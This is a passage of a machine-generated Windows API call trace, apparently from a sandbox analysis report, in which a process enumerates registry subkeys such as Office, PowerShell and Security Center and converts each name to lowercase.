lpUsedDefaultChar=0x0 | out: lpMultiByteStr="non-driver signing", lpUsedDefaultChar=0x0) returned 18 [0025.646] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4c, lpName=0x22fb930, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0025.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0025.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x22fc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notepad", lpUsedDefaultChar=0x0) returned 7 [0025.646] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4d, lpName=0x22fb930, cchName=0x104 | out: lpName="ODBC") returned 0x0 [0025.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0025.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x22fc0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="odbc", lpUsedDefaultChar=0x0) returned 4 [0025.646] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4e, lpName=0x22fb930, cchName=0x104 | out: lpName="Office") returned 0x0 [0025.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0025.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x22fc120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="office", lpUsedDefaultChar=0x0) returned 6 [0025.646] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4f, lpName=0x22fb930, cchName=0x104 | out: lpName="OfficeSoftwareProtectionPlatform") returned 0x0 [0025.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0025.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x22fc0d8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="officesoftwareprotectionplatform", lpUsedDefaultChar=0x0) returned 32 [0025.647] RegEnumKeyW (in: hKey=0x38, dwIndex=0x50, lpName=0x22fb930, cchName=0x104 | out: lpName="Ole") returned 0x0 [0025.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0025.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x22fc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ole", lpUsedDefaultChar=0x0) returned 3 [0025.647] RegEnumKeyW (in: hKey=0x38, dwIndex=0x51, lpName=0x22fb930, cchName=0x104 | out: lpName="Outlook Express") returned 0x0 [0025.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0025.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x22fc0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="outlook express", lpUsedDefaultChar=0x0) returned 15 [0025.647] RegEnumKeyW (in: hKey=0x38, dwIndex=0x52, lpName=0x22fb930, cchName=0x104 | out: lpName="PLA") returned 0x0 [0025.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0025.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x22fc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pla", lpUsedDefaultChar=0x0) returned 3 [0025.647] RegEnumKeyW (in: hKey=0x38, dwIndex=0x53, lpName=0x22fb930, cchName=0x104 | out: lpName="PowerShell") returned 0x0 [0025.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0025.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x22fc0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="powershell", lpUsedDefaultChar=0x0) returned 10 [0025.647] RegEnumKeyW (in: hKey=0x38, dwIndex=0x54, lpName=0x22fb930, cchName=0x104 | out: lpName="Print") returned 0x0 [0025.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0025.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x22fc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="print", lpUsedDefaultChar=0x0) returned 5 [0025.647] RegEnumKeyW (in: hKey=0x38, dwIndex=0x55, lpName=0x22fb930, cchName=0x104 | out: lpName="RADAR") returned 0x0 [0025.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0025.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x22fc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="radar", lpUsedDefaultChar=0x0) returned 5 [0025.648] RegEnumKeyW (in: hKey=0x38, dwIndex=0x56, lpName=0x22fb930, cchName=0x104 | out: lpName="Ras") returned 0x0 [0025.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0025.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x22fc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras", lpUsedDefaultChar=0x0) returned 3 [0025.648] RegEnumKeyW (in: hKey=0x38, dwIndex=0x57, lpName=0x22fb930, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0025.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x22fc0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras autodial", lpUsedDefaultChar=0x0) returned 12 [0025.648] RegEnumKeyW (in: hKey=0x38, dwIndex=0x58, lpName=0x22fb930, cchName=0x104 | out: lpName="Reliability Analysis") returned 0x0 [0025.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0025.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x22fc120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reliability analysis", lpUsedDefaultChar=0x0) returned 20 [0025.648] RegEnumKeyW (in: hKey=0x38, dwIndex=0x59, lpName=0x22fb930, cchName=0x104 | out: lpName="RemovalTools") returned 0x0 [0025.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x22fc0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="removaltools", lpUsedDefaultChar=0x0) returned 12 [0025.648] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5a, lpName=0x22fb930, cchName=0x104 | out: lpName="RendezvousApps") returned 0x0 [0025.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0025.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x22fc120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rendezvousapps", lpUsedDefaultChar=0x0) returned 14 [0025.648] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5b, lpName=0x22fb930, cchName=0x104 | out: lpName="Router") returned 0x0 [0025.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0025.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x22fc0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="router", lpUsedDefaultChar=0x0) returned 6 [0025.648] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5c, lpName=0x22fb930, cchName=0x104 | out: lpName="Rpc") returned 0x0 [0025.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0025.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x22fc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rpc", lpUsedDefaultChar=0x0) returned 3 [0025.649] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5d, lpName=0x22fb930, cchName=0x104 | out: lpName="SchedulingAgent") returned 0x0 [0025.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0025.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x22fc0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schedulingagent", lpUsedDefaultChar=0x0) returned 15 [0025.649] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5e, lpName=0x22fb930, cchName=0x104 | out: lpName="Schema Library") returned 0x0 [0025.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0025.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x22fc120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schema library", lpUsedDefaultChar=0x0) returned 14 [0025.649] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5f, lpName=0x22fb930, cchName=0x104 | out: lpName="Security Center") returned 0x0 [0025.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0025.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x22fc0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security center", lpUsedDefaultChar=0x0) returned 15 [0025.649] RegEnumKeyW (in: hKey=0x38, dwIndex=0x60, lpName=0x22fb930, cchName=0x104 | out: lpName="Sensors") returned 0x0 [0025.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0025.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x22fc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sensors", lpUsedDefaultChar=0x0) returned 7 [0025.649] RegEnumKeyW (in: hKey=0x38, dwIndex=0x61, lpName=0x22fb930, cchName=0x104 | out: lpName="Shared") returned 0x0 [0025.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0025.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x22fc0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared", lpUsedDefaultChar=0x0) returned 6 [0025.649] RegEnumKeyW (in: hKey=0x38, dwIndex=0x62, lpName=0x22fb930, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0025.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x22fc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools", lpUsedDefaultChar=0x0) returned 12 [0025.649] RegEnumKeyW (in: hKey=0x38, dwIndex=0x63, lpName=0x22fb930, cchName=0x104 | out: lpName="Shared Tools Location") returned 0x0 [0025.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0025.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x22fc0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools location", lpUsedDefaultChar=0x0) returned 21 [0025.650] RegEnumKeyW (in: hKey=0x38, dwIndex=0x64, lpName=0x22fb930, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0025.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0025.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x22fc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sideshow", lpUsedDefaultChar=0x0) returned 8 [0025.650] RegEnumKeyW (in: hKey=0x38, dwIndex=0x65, lpName=0x22fb930, cchName=0x104 | out: lpName="SnippingTool") returned 0x0 [0025.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x22fc0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="snippingtool", lpUsedDefaultChar=0x0) returned 12 [0025.650] RegEnumKeyW (in: hKey=0x38, dwIndex=0x66, lpName=0x22fb930, cchName=0x104 | out: lpName="Software") returned 0x0 [0025.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0025.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x22fc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0025.650] RegEnumKeyW (in: hKey=0x38, dwIndex=0x67, lpName=0x22fb930, cchName=0x104 | out: lpName="Speech") returned 0x0 [0025.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0025.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x22fc0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="speech", lpUsedDefaultChar=0x0) returned 6 [0025.650] RegEnumKeyW (in: hKey=0x38, dwIndex=0x68, lpName=0x22fb930, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0025.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0025.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x22fc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqmclient", lpUsedDefaultChar=0x0) returned 9 [0025.650] RegEnumKeyW (in: hKey=0x38, dwIndex=0x69, lpName=0x22fb930, cchName=0x104 | out: lpName="Sync Framework") returned 0x0 [0025.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0025.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x22fc0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sync framework", lpUsedDefaultChar=0x0) returned 14 [0025.650] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6a, lpName=0x22fb930, cchName=0x104 | out: lpName="Sysprep") returned 0x0 [0025.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0025.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x22fc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sysprep", lpUsedDefaultChar=0x0) returned 7 [0025.651] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6b, lpName=0x22fb930, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0025.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0025.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x22fc0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="systemcertificates", lpUsedDefaultChar=0x0) returned 18 [0025.651] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6c, lpName=0x22fb930, cchName=0x104 | out: lpName="TableTextService") returned 0x0 [0025.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0025.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x22fc120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tabletextservice", lpUsedDefaultChar=0x0) returned 16 [0025.651] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6d, lpName=0x22fb930, cchName=0x104 | out: lpName="TabletTip") returned 0x0 [0025.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0025.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x22fc0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tablettip", lpUsedDefaultChar=0x0) returned 9 [0025.651] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6e, lpName=0x22fb930, cchName=0x104 | out: lpName="Tcpip") returned 0x0 [0025.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0025.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x22fc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tcpip", lpUsedDefaultChar=0x0) returned 5 [0025.651] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6f, lpName=0x22fb930, cchName=0x104 | out: lpName="Terminal Server Client") returned 0x0 [0025.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0025.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x22fc0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="terminal server client", lpUsedDefaultChar=0x0) returned 22 [0025.651] RegEnumKeyW (in: hKey=0x38, dwIndex=0x70, lpName=0x22fb930, cchName=0x104 | out: lpName="TermServLicensing") returned 0x0 [0025.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0025.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x22fc120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="termservlicensing", lpUsedDefaultChar=0x0) returned 17 [0025.652] RegEnumKeyW (in: hKey=0x38, dwIndex=0x71, lpName=0x22fb930, cchName=0x104 | out: lpName="TIP Shared") returned 0x0 [0025.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0025.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x22fc0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tip shared", lpUsedDefaultChar=0x0) returned 10 [0025.652] RegEnumKeyW (in: hKey=0x38, dwIndex=0x72, lpName=0x22fb930, cchName=0x104 | out: lpName="TPG") returned 0x0 [0025.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0025.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x22fc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 